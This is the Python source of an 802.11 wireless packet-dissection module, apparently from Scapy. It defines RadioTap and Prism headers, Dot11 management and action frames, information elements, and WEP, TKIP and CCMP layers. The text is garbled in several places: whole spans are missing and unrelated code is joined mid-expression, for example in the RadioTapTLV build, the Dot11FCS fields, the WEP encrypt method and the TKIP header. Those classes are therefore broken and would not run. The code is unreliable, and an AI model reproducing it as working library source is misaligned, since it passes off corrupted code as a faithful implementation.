http://www.martin.cc/linux/prism class PrismHeader(Packet): """ iwpriv wlan0 monitor 3 """ name = "Prism header" fields_desc = [LEIntField("msgcode", 68), LEIntField("len", 144), StrFixedLenField("dev", "", 16), LEIntField("hosttime_did", 0), LEShortField("hosttime_status", 0), LEShortField("hosttime_len", 0), LEIntField("hosttime", 0), LEIntField("mactime_did", 0), LEShortField("mactime_status", 0), LEShortField("mactime_len", 0), LEIntField("mactime", 0), LEIntField("channel_did", 0), LEShortField("channel_status", 0), LEShortField("channel_len", 0), LEIntField("channel", 0), LEIntField("rssi_did", 0), LEShortField("rssi_status", 0), LEShortField("rssi_len", 0), LEIntField("rssi", 0), LEIntField("sq_did", 0), LEShortField("sq_status", 0), LEShortField("sq_len", 0), LEIntField("sq", 0), LEIntField("signal_did", 0), LEShortField("signal_status", 0), LEShortField("signal_len", 0), LESignedIntField("signal", 0), LEIntField("noise_did", 0), LEShortField("noise_status", 0), LEShortField("noise_len", 0), LEIntField("noise", 0), LEIntField("rate_did", 0), LEShortField("rate_status", 0), LEShortField("rate_len", 0), LEIntField("rate", 0), LEIntField("istx_did", 0), LEShortField("istx_status", 0), LEShortField("istx_len", 0), LEIntField("istx", 0), LEIntField("frmlen_did", 0), LEShortField("frmlen_status", 0), LEShortField("frmlen_len", 0), LEIntField("frmlen", 0), ] def answers(self, other): if isinstance(other, PrismHeader): return self.payload.answers(other.payload) else: return self.payload.answers(other) ############ # RadioTap # ############ # https://www.radiotap.org/ # Note: Radiotap alignment is crazy. See the doc: # https://www.radiotap.org/#alignment-in-radiotap # RadioTap constants _rt_present = ['TSFT', 'Flags', 'Rate', 'Channel', 'FHSS', 'dBm_AntSignal', 'dBm_AntNoise', 'Lock_Quality', 'TX_Attenuation', 'dB_TX_Attenuation', 'dBm_TX_Power', 'Antenna', 'dB_AntSignal', 'dB_AntNoise', 'RXFlags', 'TXFlags', 'b17', 'b18', 'ChannelPlus', 'MCS', 'A_MPDU', 'VHT', 'timestamp', 'HE', 'HE_MU', 'HE_MU_other_user', 'zero_length_psdu', 'L_SIG', 'TLV', 'RadiotapNS', 'VendorNS', 'Ext'] # Note: Inconsistencies with wireshark # Wireshark ignores the suggested fields, whereas we implement some of them # (some are well-used even though not accepted) # However, flags that conflicts with Wireshark are not and MUST NOT be # implemented -> b17, b18 _rt_flags = ['CFP', 'ShortPreamble', 'wep', 'fragment', 'FCS', 'pad', 'badFCS', 'ShortGI'] _rt_channelflags = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM', 'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz'] _rt_rxflags = ["res1", "BAD_PLCP", "res2"] _rt_txflags = ["TX_FAIL", "CTS", "RTS", "NOACK", "NOSEQ", "ORDER"] _rt_channelflags2 = ['res1', 'res2', 'res3', 'res4', 'Turbo', 'CCK', 'OFDM', '2GHz', '5GHz', 'Passive', 'Dynamic_CCK_OFDM', 'GFSK', 'GSM', 'StaticTurbo', '10MHz', '5MHz', '20MHz', '40MHz_ext_channel_above', '40MHz_ext_channel_below', 'res5', 'res6', 'res7', 'res8', 'res9'] _rt_tsflags = ['32-bit_counter', 'Accuracy', 'res1', 'res2', 'res3', 'res4', 'res5', 'res6'] _rt_knownmcs = ['MCS_bandwidth', 'MCS_index', 'guard_interval', 'HT_format', 'FEC_type', 'STBC_streams', 'Ness', 'Ness_MSB'] _rt_bandwidth = {0: "20MHz", 1: "40MHz", 2: "ht40Mhz-", 3: "ht40MHz+"} _rt_a_mpdu_flags = ['Report0Subframe', 'Is0Subframe', 'KnownLastSubframe', 'LastSubframe', 'CRCerror', 'EOFsubframe', 'KnownEOF', 'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7', 'res8'] _rt_vhtbandwidth = { 0: "20MHz", 1: "40MHz", 2: "40MHz", 3: "40MHz", 4: "80MHz", 5: "80MHz", 6: "80MHz", 7: "80MHz", 8: "80MHz", 9: "80MHz", 10: "80MHz", 11: "160MHz", 12: "160MHz", 13: "160MHz", 14: "160MHz", 15: "160MHz", 16: "160MHz", 17: "160MHz", 18: "160MHz", 19: "160MHz", 20: "160MHz", 21: "160MHz", 22: "160MHz", 23: "160MHz", 24: "160MHz", 25: "160MHz" } _rt_knownvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval', 'SGINsysmDis', 'LDPCextraOFDM', 'Beamformed', 'Bandwidth', 'GroupID', 'PartialAID', 'res1', 'res2', 'res3', 'res4', 'res5', 'res6', 'res7'] _rt_presentvht = ['STBC', 'TXOP_PS_NOT_ALLOWED', 'GuardInterval', 'SGINsysmDis', 'LDPCextraOFDM', 'Beamformed', 'res1', 'res2'] _rt_hemuother_per_user_known = [ 'user field position', 'STA-ID', 'NSTS', 'Tx Beamforming', 'Spatial Configuration', 'MCS', 'DCM', 'Coding', ] # Radiotap utils # Note: extended presence masks are dissected pretty dumbly by # Wireshark. def _next_radiotap_extpm(pkt, lst, cur, s): """Generates the next RadioTapExtendedPresenceMask""" if cur is None or (cur.present and cur.present.Ext): st = len(lst) + (cur is not None) return lambda *args: RadioTapExtendedPresenceMask(*args, index=st) return None class RadioTapExtendedPresenceMask(Packet): """RadioTapExtendedPresenceMask should be instantiated by passing an `index=` kwarg, stating which place the item has in the list. Passing index will update the b[x] fields accordingly to the index. e.g. >>> a = RadioTapExtendedPresenceMask(present="b0+b12+b29+Ext") >>> b = RadioTapExtendedPresenceMask(index=1, present="b33+b45+b59+b62") >>> pkt = RadioTap(present="Ext", Ext=[a, b]) """ name = "RadioTap Extended presence mask" fields_desc = [FlagsField('present', None, -32, ["b%s" % i for i in range(0, 31)] + ["Ext"])] def __init__(self, _pkt=None, index=0, **kwargs): self._restart_indentation(index) Packet.__init__(self, _pkt, **kwargs) def _restart_indentation(self, index): st = index * 32 self.fields_desc[0].names = ["b%s" % (i + st) for i in range(0, 31)] + ["Ext"] # noqa: E501 def guess_payload_class(self, pay): return conf.padding_layer # This is still unimplemented in Wireshark # https://www.radiotap.org/fields/TLV.html class RadioTapTLV(Packet): fields_desc = [ LEShortEnumField("type", 0, _rt_present), LEShortField("length", None), ConditionalField( OUIField("oui", 0), lambda pkt: pkt.type == 30 # VendorNS ), ConditionalField( ByteField("subtype", 0), lambda pkt: pkt.type == 30 ), ConditionalField( LEShortField("presence_type", 0), lambda pkt: pkt.type == 30 ), ConditionalField( LEShortField("reserved", 0), lambda pkt: pkt.type == 30 ), StrLenField("data", b"", length_from=lambda pkt: pkt.length), StrLenField("pad", None, length_from=lambda pkt: -pkt.length % 4) ] def post_build(self, pkt, pay): if self.length is None: pkt = pkt[:2] + struct.pack(" %%%s.addr1%%" % ((self.__class__.__name__,) * 4)) # noqa: E501 def guess_payload_class(self, payload): if self.type == 0x02 and ( 0x08 <= self.subtype <= 0xF and self.subtype != 0xD): return Dot11QoS elif hasattr(self.FCfield, "protected") and self.FCfield.protected: # When a frame is handled by encryption, the Protected Frame bit # (previously called WEP bit) is set to 1, and the Frame Body # begins with the appropriate cryptographic header. return Dot11Encrypted else: return Packet.guess_payload_class(self, payload) def answers(self, other): if isinstance(other, Dot11): if self.type == 0: # management if self.addr1.lower() != other.addr2.lower(): # check resp DA w/ req SA # noqa: E501 return 0 if (other.subtype, self.subtype) in [(0, 1), (2, 3), (4, 5)]: return 1 if self.subtype == other.subtype == 11: # auth return self.payload.answers(other.payload) elif self.type == 1: # control return 0 elif self.type == 2: # data return self.payload.answers(other.payload) elif self.type == 3: # reserved return 0 return 0 def address_meaning(self, index): """ Return the meaning of the address[index] considering the context """ if index not in [1, 2, 3, 4]: raise ValueError("Wrong index: should be [1, 2, 3, 4]") index = index - 1 if self.type == 0: # Management return _dot11_addr_meaning[0][index] elif self.type == 1: # Control if (self.type, self.subtype) == (1, 6) and self.cfe == 6: return ["RA", "NAV-SA", "NAV-DA"][index] return _dot11_addr_meaning[1][index] elif self.type == 2: # Data meaning = _dot11_addr_meaning[2][index][ self.FCfield.to_DS ][self.FCfield.from_DS] if meaning and index in [2, 3]: # Address 3-4 if isinstance(self.payload, Dot11QoS): # MSDU and Short A-MSDU if self.payload.A_MSDU_Present: meaning = "BSSID" return meaning elif self.type == 3: # Extension return _dot11_addr_meaning[3][index] return None def unwep(self, key=None, warn=1): if self.FCfield & 0x40 == 0: if warn: warning("No WEP to remove") return if isinstance(self.payload.payload, NoPayload): if key or conf.wepkey: self.payload.decrypt(key) if isinstance(self.payload.payload, NoPayload): if warn: warning("Dot11 can't be decrypted. Check conf.wepkey.") return self.FCfield &= ~0x40 self.payload = self.payload.payload class Dot11FCS(Dot11): name = "802.11-FCS" match_subclass = True fields_desc = Dot11.fields_desc + [FCSField("fcs", None, fmt="= 3: length = orb(s[1]) if length > 0 and length <= 255: self.info = s[2:2 + length] return s def post_build(self, p, pay): if self.len is None: p = p[:1] + chb(len(p) - 2) + p[2:] return p + pay # 802.11-2020 9.4.2.4 class Dot11EltDSSSet(Dot11Elt): name = "802.11 DSSS Parameter Set" match_subclass = True fields_desc = [ ByteEnumField("ID", 3, _dot11_id_enum), ByteField("len", 1), ByteField("channel", 0), ] # 802.11-2020 9.4.2.11 class Dot11EltERP(Dot11Elt): name = "802.11 ERP" match_subclass = True fields_desc = [ ByteEnumField("ID", 42, _dot11_id_enum), ByteField("len", 1), BitField("NonERP_Present", 0, 1), BitField("Use_Protection", 0, 1), BitField("Barker_Preamble_Mode", 0, 1), BitField("res", 0, 5), ] # 802.11-2020 9.4.2.24.2 class RSNCipherSuite(Packet): name = "Cipher suite" fields_desc = [ OUIField("oui", 0x000fac), ByteEnumField("cipher", 0x04, { 0x00: "Use group cipher suite", 0x01: "WEP-40", 0x02: "TKIP", 0x03: "OCB", 0x04: "CCMP-128", 0x05: "WEP-104", 0x06: "BIP-CMAC-128", 0x07: "Group addressed traffic not allowed", 0x08: "GCMP-128", 0x09: "GCMP-256", 0x0A: "CCMP-256", 0x0B: "BIP-GMAC-128", 0x0C: "BIP-GMAC-256", 0x0D: "BIP-CMAC-256" }) ] def extract_padding(self, s): return "", s # 802.11-2020 9.4.2.24.3 class AKMSuite(Packet): name = "AKM suite" fields_desc = [ OUIField("oui", 0x000fac), ByteEnumField("suite", 0x01, { 0x00: "Reserved", 0x01: "802.1X", 0x02: "PSK", 0x03: "FT-802.1X", 0x04: "FT-PSK", 0x05: "WPA-SHA256", 0x06: "PSK-SHA256", 0x07: "TDLS", 0x08: "SAE", 0x09: "FT-SAE", 0x0A: "AP-PEER-KEY", 0x0B: "WPA-SHA256-SUITE-B", 0x0C: "WPA-SHA384-SUITE-B", 0x0D: "FT-802.1X-SHA384", 0x0E: "FILS-SHA256", 0x0F: "FILS-SHA384", 0x10: "FT-FILS-SHA256", 0x11: "FT-FILS-SHA384", 0x12: "OWE" }) ] def extract_padding(self, s): return "", s # 802.11-2020 9.4.2.24.5 class PMKIDListPacket(Packet): name = "PMKIDs" fields_desc = [ LEFieldLenField("nb_pmkids", None, count_of="pmkid_list"), FieldListField( "pmkid_list", None, XStrFixedLenField("", "", length=16), count_from=lambda pkt: pkt.nb_pmkids ) ] def extract_padding(self, s): return "", s # 802.11-2020 9.4.2.24.1 class Dot11EltRSN(Dot11Elt): name = "802.11 RSN information" match_subclass = True fields_desc = [ ByteEnumField("ID", 48, _dot11_id_enum), ByteField("len", None), LEShortField("version", 1), PacketField("group_cipher_suite", RSNCipherSuite(), RSNCipherSuite), LEFieldLenField( "nb_pairwise_cipher_suites", None, count_of="pairwise_cipher_suites" ), PacketListField( "pairwise_cipher_suites", [RSNCipherSuite()], RSNCipherSuite, count_from=lambda p: p.nb_pairwise_cipher_suites ), LEFieldLenField( "nb_akm_suites", None, count_of="akm_suites" ), PacketListField( "akm_suites", [AKMSuite()], AKMSuite, count_from=lambda p: p.nb_akm_suites ), # RSN Capabilities # 802.11-2020 9.4.2.24.4 BitField("mfp_capable", 1, 1), BitField("mfp_required", 1, 1), BitField("gtksa_replay_counter", 0, 2), BitField("ptksa_replay_counter", 0, 2), BitField("no_pairwise", 0, 1), BitField("pre_auth", 0, 1), BitField("reserved", 0, 1), BitField("ocvc", 0, 1), BitField("extended_key_id", 0, 1), BitField("pbac", 0, 1), BitField("spp_a_msdu_required", 0, 1), BitField("spp_a_msdu_capable", 0, 1), BitField("peer_key_enabled", 0, 1), BitField("joint_multiband_rsna", 0, 1), # Theoretically we could use mfp_capable/mfp_required to know if those # fields are present, but some implementations poorly implement it. # In practice, do as wireshark: guess using offset. ConditionalField( PacketField("pmkids", PMKIDListPacket(), PMKIDListPacket), lambda pkt: ( True if pkt.len is None else pkt.len - ( 12 + (pkt.nb_pairwise_cipher_suites or 0) * 4 + (pkt.nb_akm_suites or 0) * 4 ) >= 2 ) ), ConditionalField( PacketField("group_management_cipher_suite", RSNCipherSuite(cipher=0x6), RSNCipherSuite), lambda pkt: ( True if pkt.len is None else pkt.len - ( 12 + (pkt.nb_pairwise_cipher_suites or 0) * 4 + (pkt.nb_akm_suites or 0) * 4 + (2 if pkt.pmkids else 0) + (pkt.pmkids and pkt.pmkids.nb_pmkids or 0) * 16 ) >= 4 ) ) ] class Dot11EltCountryConstraintTriplet(Packet): name = "802.11 Country Constraint Triplet" fields_desc = [ ByteField("first_channel_number", 1), ByteField("num_channels", 24), ByteField("mtp", 0) ] def extract_padding(self, s): return b"", s class Dot11EltCountry(Dot11Elt): name = "802.11 Country" match_subclass = True fields_desc = [ ByteEnumField("ID", 7, _dot11_id_enum), ByteField("len", None), StrFixedLenField("country_string", b"\0\0\0", length=3), MayEnd(PacketListField( "descriptors", [], Dot11EltCountryConstraintTriplet, length_from=lambda pkt: ( pkt.len - 3 - (pkt.len % 3) ) )), # When this extension is last, padding appears to be omitted ConditionalField( ByteField("pad", 0), # The length should be 3 bytes per each triplet, and 3 bytes for the # country_string field. The standard dictates that the element length # must be even, so if the result is odd, add a padding byte. # Some transmitters don't comply with the standard, so instead of assuming # the length, we test whether there is a padding byte. # Some edge cases are still not covered, for example, if the tag length # (pkt.len) is an arbitrary number. lambda pkt: ((len(pkt.descriptors) + 1) % 2) if pkt.len is None else (pkt.len % 3) # noqa: E501 ) ] class _RateField(ByteField): def i2repr(self, pkt, val): if val is None: return "" s = str((val & 0x7f) / 2.) if val & 0x80: s += "(B)" return s + " Mbps" class Dot11EltRates(Dot11Elt): name = "802.11 Rates" match_subclass = True fields_desc = [ ByteEnumField("ID", 1, _dot11_id_enum), ByteField("len", None), FieldListField( "rates", [0x82], _RateField("", 0), length_from=lambda p: p.len ) ] Dot11EltRates.register_variant(50) # Extended rates class Dot11EltHTCapabilities(Dot11Elt): name = "802.11 HT Capabilities" match_subclass = True fields_desc = [ ByteEnumField("ID", 45, _dot11_id_enum), ByteField("len", None), # HT Capabilities Info: 2B BitField("L_SIG_TXOP_Protection", 0, 1, tot_size=-2), BitField("Forty_Mhz_Intolerant", 0, 1), BitField("PSMP", 0, 1), BitField("DSSS_CCK", 0, 1), BitEnumField("Max_A_MSDU", 0, 1, {0: "3839 o", 1: "7935 o"}), BitField("Delayed_BlockAck", 0, 1), BitField("Rx_STBC", 0, 2), BitField("Tx_STBC", 0, 1), BitField("Short_GI_40Mhz", 0, 1), BitField("Short_GI_20Mhz", 0, 1), BitField("Green_Field", 0, 1), BitEnumField("SM_Power_Save", 0, 2, {0: "static SM", 1: "dynamic SM", 3: "disabled"}), BitEnumField("Supported_Channel_Width", 0, 1, {0: "20Mhz", 1: "20Mhz+40Mhz"}), BitField("LDPC_Coding_Capability", 0, 1, end_tot_size=-2), # A-MPDU Parameters: 1B BitField("res1", 0, 3, tot_size=-1), BitField("Min_MPDCU_Start_Spacing", 8, 3), BitField("Max_A_MPDU_Length_Exponent", 3, 2, end_tot_size=-1), # Supported MCS set: 16B BitField("res2", 0, 27, tot_size=-16), BitField("TX_Unequal_Modulation", 0, 1), BitField("TX_Max_Spatial_Streams", 0, 2), BitField("TX_RX_MCS_Set_Not_Equal", 0, 1), BitField("TX_MCS_Set_Defined", 0, 1), BitField("res3", 0, 6), BitField("RX_Highest_Supported_Data_Rate", 0, 10), BitField("res4", 0, 3), BitField("RX_MSC_Bitmask", 0, 77, end_tot_size=-16), # HT Extended capabilities: 2B BitField("res5", 0, 4, tot_size=-2), BitField("RD_Responder", 0, 1), BitField("HTC_HT_Support", 0, 1), BitField("MCS_Feedback", 0, 2), BitField("res6", 0, 5), BitField("PCO_Transition_Time", 0, 2), BitField("PCO", 0, 1, end_tot_size=-2), # TX Beamforming Capabilities TxBF: 4B BitField("res7", 0, 3, tot_size=-4), BitField("Channel_Estimation_Capability", 0, 2), BitField("CSI_max_n_Rows_Beamformer_Supported", 0, 2), BitField("Compressed_Steering_n_Beamformer_Antennas_Supported", 0, 2), BitField("Noncompressed_Steering_n_Beamformer_Antennas_Supported", 0, 2), BitField("CSI_n_Beamformer_Antennas_Supported", 0, 2), BitField("Minimal_Grouping", 0, 2), BitField("Explicit_Compressed_Beamforming_Feedback", 0, 2), BitField("Explicit_Noncompressed_Beamforming_Feedback", 0, 2), BitField("Explicit_Transmit_Beamforming_CSI_Feedback", 0, 2), BitField("Explicit_Compressed_Steering", 0, 1), BitField("Explicit_Noncompressed_Steering", 0, 1), BitField("Explicit_CSI_Transmit_Beamforming", 0, 1), BitField("Calibration", 0, 2), BitField("Implicit_Trasmit_Beamforming", 0, 1), BitField("Transmit_NDP", 0, 1), BitField("Receive_NDP", 0, 1), BitField("Transmit_Staggered_Sounding", 0, 1), BitField("Receive_Staggered_Sounding", 0, 1), BitField("Implicit_Transmit_Beamforming_Receiving", 0, 1, end_tot_size=-4), # ASEL Capabilities: 1B FlagsField("ASEL", 0, 8, [ "res", "Transmit_Sounding_PPDUs", "Receive_ASEL", "Antenna_Indices_Feedback", "Explicit_CSI_Feedback", "Explicit_CSI_Feedback_Based_Transmit_ASEL", "Antenna_Selection", ]) ] class Dot11EltVendorSpecific(Dot11Elt): name = "802.11 Vendor Specific" match_subclass = True fields_desc = [ ByteEnumField("ID", 221, _dot11_id_enum), ByteField("len", None), OUIField("oui", 0x000000), StrLenField("info", "", length_from=lambda x: x.len - 3) ] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: oui = struct.unpack("!I", b"\x00" + _pkt[2:5])[0] ouicls = cls.registered_ouis.get(oui, cls) if ouicls.dispatch_hook != cls.dispatch_hook: # Sub-classes can have their own dispatch_hook return ouicls.dispatch_hook(_pkt=_pkt, *args, **kargs) cls = ouicls return cls registered_ouis = {} @classmethod def register_variant(cls): oui = cls.oui.default if not oui: # This is Dot11EltVendorSpecific, register it in the super-class. super().register_variant() elif oui not in cls.registered_ouis: # Sub-Vendor (e.g. Dot11EltMicrosoftWPA) cls.registered_ouis[oui] = cls class Dot11EltMicrosoftWPA(Dot11EltVendorSpecific): name = "802.11 Microsoft WPA" match_subclass = True ID = 221 oui = 0x0050f2 # It appears many WPA implementations ignore the fact # that this IE should only have a single cipher and auth suite fields_desc = Dot11EltVendorSpecific.fields_desc[:3] + [ XByteField("type", 0x01) ] + Dot11EltRSN.fields_desc[2:8] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt: type_ = orb(_pkt[5]) if type_ == 0x01: # MS WPA IE return Dot11EltMicrosoftWPA elif type_ == 0x02: # MS WME IE TODO # return Dot11EltMicrosoftWME pass elif type_ == 0x04: # MS WPS IE TODO # return Dot11EltWPS pass return Dot11EltVendorSpecific return cls # 802.11-2016 9.4.2.19 class Dot11EltCSA(Dot11Elt): name = "802.11 CSA Element" match_subclass = True fields_desc = [ ByteEnumField("ID", 37, _dot11_id_enum), ByteField("len", 3), ByteField("mode", 0), ByteField("new_channel", 0), ByteField("channel_switch_count", 0) ] # 802.11-2016 9.4.2.59 class Dot11EltOBSS(Dot11Elt): name = "802.11 OBSS Scan Parameters Element" match_subclass = True fields_desc = [ ByteEnumField("ID", 74, _dot11_id_enum), ByteField("len", 14), LEShortField("Passive_Dwell", 0), LEShortField("Active_Dwell", 0), LEShortField("Scan_Interval", 0), LEShortField("Passive_Total_Per_Channel", 0), LEShortField("Active_Total_Per_Channel", 0), LEShortField("Delay", 0), LEShortField("Activity_Threshold", 0), ] # 802.11-2016 9.4.2.159 class Dot11VHTOperationInfo(Packet): name = "802.11 VHT Operation Information" fields_desc = [ ByteField("channel_width", 0), ByteField("channel_center0", 36), ByteField("channel_center1", 0), ] def extract_padding(self, s): return "", s class Dot11EltVHTOperation(Dot11Elt): name = "802.11 VHT Operation Element" match_subclass = True fields_desc = [ ByteEnumField("ID", 192, _dot11_id_enum), ByteField("len", 5), PacketField( "VHT_Operation_Info", Dot11VHTOperationInfo(), Dot11VHTOperationInfo ), FieldListField( "mcs_set", [0x00], BitField('SS', 0x00, size=2), count_from=lambda x: 8 ) ] ###################### # 802.11 Frame types # ###################### # 802.11-2016 9.3 class Dot11Beacon(_Dot11EltUtils): name = "802.11 Beacon" fields_desc = [LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list)] class Dot11ATIM(Packet): name = "802.11 ATIM" class Dot11Disas(Packet): name = "802.11 Disassociation" fields_desc = [LEShortEnumField("reason", 1, reason_code)] class Dot11AssoReq(_Dot11EltUtils): name = "802.11 Association Request" fields_desc = [FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8)] class Dot11AssoResp(_Dot11EltUtils): name = "802.11 Association Response" fields_desc = [FlagsField("cap", 0, 16, capability_list), LEShortField("status", 0), LEShortField("AID", 0)] class Dot11ReassoReq(_Dot11EltUtils): name = "802.11 Reassociation Request" fields_desc = [FlagsField("cap", 0, 16, capability_list), LEShortField("listen_interval", 0x00c8), MACField("current_AP", ETHER_ANY)] class Dot11ReassoResp(Dot11AssoResp): name = "802.11 Reassociation Response" class Dot11ProbeReq(_Dot11EltUtils): name = "802.11 Probe Request" class Dot11ProbeResp(_Dot11EltUtils): name = "802.11 Probe Response" fields_desc = [LELongField("timestamp", 0), LEShortField("beacon_interval", 0x0064), FlagsField("cap", 0, 16, capability_list)] class Dot11Auth(_Dot11EltUtils): name = "802.11 Authentication" fields_desc = [LEShortEnumField("algo", 0, ["open", "sharedkey"]), LEShortField("seqnum", 0), LEShortEnumField("status", 0, status_code)] def answers(self, other): if self.algo != other.algo: return 0 if ( self.seqnum == other.seqnum + 1 or (self.algo == 3 and self.seqnum == other.seqnum) ): return 1 return 0 class Dot11Deauth(Packet): name = "802.11 Deauthentication" fields_desc = [LEShortEnumField("reason", 1, reason_code)] class Dot11Ack(Packet): name = "802.11 Ack packet" # 802.11-2016 9.4.1.11 class Dot11Action(Packet): name = "802.11 Action" fields_desc = [ ByteEnumField("category", 0x00, { 0x00: "Spectrum Management", 0x01: "QoS", 0x02: "DLS", 0x03: "Block", 0x04: "Public", 0x05: "Radio Measurement", 0x06: "Fast BSS Transition", 0x07: "HT", 0x08: "SA Query", 0x09: "Protected Dual of Public Action", 0x0A: "WNM", 0x0B: "Unprotected WNM", 0x0C: "TDLS", 0x0D: "Mesh", 0x0E: "Multihop", 0x0F: "Self-protected", 0x10: "DMG", 0x11: "Reserved Wi-Fi Alliance", 0x12: "Fast Session Transfer", 0x13: "Robust AV Streaming", 0x14: "Unprotected DMG", 0x15: "VHT" }) ] # 802.11-2016 9.6.14.1 class Dot11WNM(Packet): name = "802.11 WNM Action" fields_desc = [ ByteEnumField("action", 0x00, { 0x00: "Event Request", 0x01: "Event Report", 0x02: "Diagnostic Request", 0x03: "Diagnostic Report", 0x04: "Location Configuration Request", 0x05: "Location Configuration Response", 0x06: "BSS Transition Management Query", 0x07: "BSS Transition Management Request", 0x08: "BSS Transition Management Response", 0x09: "FMS Request", 0x0A: "FMS Response", 0x0B: "Collocated Interference Request", 0x0C: "Collocated Interference Report", 0x0D: "TFS Request", 0x0E: "TFS Response", 0x0F: "TFS Notify", 0x10: "WNM Sleep Mode Request", 0x11: "WNM Sleep Mode Response", 0x12: "TIM Broadcast Request", 0x13: "TIM Broadcast Response", 0x14: "QoS Traffic Capability Update", 0x15: "Channel Usage Request", 0x16: "Channel Usage Response", 0x17: "DMS Request", 0x18: "DMS Response", 0x19: "Timing Measurement Request", 0x1A: "WNM Notification Request", 0x1B: "WNM Notification Response", 0x1C: "WNM-Notify Response" }) ] # 802.11-2016 9.4.2.37 class SubelemTLV(Packet): fields_desc = [ ByteField("type", 0), LEFieldLenField("len", None, fmt="B", length_of="value"), FieldListField( "value", [], ByteField('', 0), length_from=lambda p: p.len ) ] class BSSTerminationDuration(Packet): name = "BSS Termination Duration" fields_desc = [ ByteField("id", 4), ByteField("len", 10), LELongField("TSF", 0), LEShortField("duration", 0) ] def extract_padding(self, s): return "", s class NeighborReport(Packet): name = "Neighbor Report" fields_desc = [ ByteField("type", 0), ByteField("len", 13), MACField("BSSID", ETHER_ANY), # BSSID Information BitField("AP_reach", 0, 2, tot_size=-4), BitField("security", 0, 1), BitField("key_scope", 0, 1), BitField("capabilities", 0, 6), BitField("mobility", 0, 1), BitField("HT", 0, 1), BitField("VHT", 0, 1), BitField("FTM", 0, 1), BitField("reserved", 0, 18, end_tot_size=-4), # BSSID Information end ByteField("op_class", 0), ByteField("channel", 0), ByteField("phy_type", 0), ConditionalField( PacketListField( "subelems", SubelemTLV(), SubelemTLV, length_from=lambda p: p.len - 13 ), lambda p: p.len > 13 ) ] # 802.11-2016 9.6.14.9 btm_request_mode = [ "Preferred_Candidate_List_Included", "Abridged", "Disassociation_Imminent", "BSS_Termination_Included", "ESS_Disassociation_Imminent" ] class Dot11BSSTMRequest(Packet): name = "BSS Transition Management Request" fields_desc = [ ByteField("token", 0), FlagsField("mode", 0, 8, btm_request_mode), LEShortField("disassociation_timer", 0), ByteField("validity_interval", 0), ConditionalField( PacketField( "termination_duration", BSSTerminationDuration(), BSSTerminationDuration ), lambda p: p.mode and p.mode.BSS_Termination_Included ), ConditionalField( ByteField("url_len", 0), lambda p: p.mode and p.mode.ESS_Disassociation_Imminent ), ConditionalField( StrLenField("url", "", length_from=lambda p: p.url_len), lambda p: p.mode and p.mode.ESS_Disassociation_Imminent != 0 ), ConditionalField( PacketListField( "neighbor_report", NeighborReport(), NeighborReport ), lambda p: p.mode and p.mode.Preferred_Candidate_List_Included ) ] # 802.11-2016 9.6.14.10 btm_status_code = [ "Accept", "Reject-Unspecified_reject_reason", "Reject-Insufficient_Beacon_or_Probe_Response_frames", "Reject-Insufficient_available_capacity_from_all_candidates", "Reject-BSS_termination_undesired", "Reject-BSS_termination_delay_requested", "Reject-STA_BSS_Transition_Candidate_List_provided", "Reject-No_suitable_BSS_transition_candidates", "Reject-Leaving_ESS" ] class Dot11BSSTMResponse(Packet): name = "BSS Transition Management Response" fields_desc = [ ByteField("token", 0), ByteEnumField("status", 0, btm_status_code), ByteField("termination_delay", 0), ConditionalField( MACField("target", ETHER_ANY), lambda p: p.status == 0 ), ConditionalField( PacketListField( "neighbor_report", NeighborReport(), NeighborReport ), lambda p: p.status == 6 ) ] # 802.11-2016 9.6.2.1 class Dot11SpectrumManagement(Packet): name = "802.11 Spectrum Management Action" fields_desc = [ ByteEnumField("action", 0x00, { 0x00: "Measurement Request", 0x01: "Measurement Report", 0x02: "TPC Request", 0x03: "TPC Report", 0x04: "Channel Switch Announcement", }) ] # 802.11-2016 9.6.2.6 class Dot11CSA(Packet): name = "Channel Switch Announcement Frame" fields_desc = [ PacketField("CSA", Dot11EltCSA(), Dot11EltCSA), ] class Dot11S1GBeacon(_Dot11EltUtils): name = "802.11 S1G Beacon" fields_desc = [LEIntField("timestamp", 0), ByteField("change_seq", 0)] ################### # 802.11 Security # ################### # 802.11-2016 12 class Dot11Encrypted(Packet): name = "802.11 Encrypted (unknown algorithm)" fields_desc = [StrField("data", None)] @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): # Extracted from # https://github.com/wireshark/wireshark/blob/master/epan/dissectors/packet-ieee80211.c # noqa: E501 KEY_EXTIV = 0x20 EXTIV_LEN = 8 if _pkt and len(_pkt) >= 3: if (orb(_pkt[3]) & KEY_EXTIV) and (len(_pkt) >= EXTIV_LEN): if orb(_pkt[1]) == ((orb(_pkt[0]) | 0x20) & 0x7f): # IS_TKIP return Dot11TKIP elif orb(_pkt[2]) == 0: # IS_CCMP return Dot11CCMP else: # Unknown encryption algorithm return Dot11Encrypted else: return Dot11WEP return conf.raw_layer # 802.11-2016 12.3.2 class Dot11WEP(Dot11Encrypted): name = "802.11 WEP packet" fields_desc = [StrFixedLenField("iv", b"\0\0\0", 3), ByteField("keyid", 0), StrField("wepdata", None, remain=4), IntField("icv", None)] def decrypt(self, key=None): if key is None: key = conf.wepkey if key and conf.crypto_valid: d = Cipher( decrepit_algorithms.ARC4(self.iv + key.encode("utf8")), None, default_backend(), ).decryptor() self.add_payload(LLC(d.update(self.wepdata) + d.finalize())) def post_dissect(self, s): self.decrypt() def build_payload(self): if self.wepdata is None: return Packet.build_payload(self) return b"" @crypto_validator def encrypt(self, p, pay, key=None): if key is None: key = conf.wepkey if key: if self.icv is None: pay += struct.pack(" LE = reversed order BitField("res", 0, 5), # # ext_iv - 4 bytes ConditionalField(ByteField("TSC2", 0), lambda pkt: pkt.ext_iv), ConditionalField(ByteField("TSC3", 0), lambda pkt: pkt.ext_iv), ConditionalField(ByteField("TSC4", 0), lambda pkt: pkt.ext_iv), ConditionalField(ByteField("TSC5", 0), lambda pkt: pkt.ext_iv), # data StrField("data", None), ] # 802.11-2016 12.5.3.2 class Dot11CCMP(Dot11Encrypted): name = "802.11 CCMP packet" fields_desc = [ # iv - 8 bytes ByteField("PN0", 0), ByteField("PN1", 0), ByteField("res0", 0), 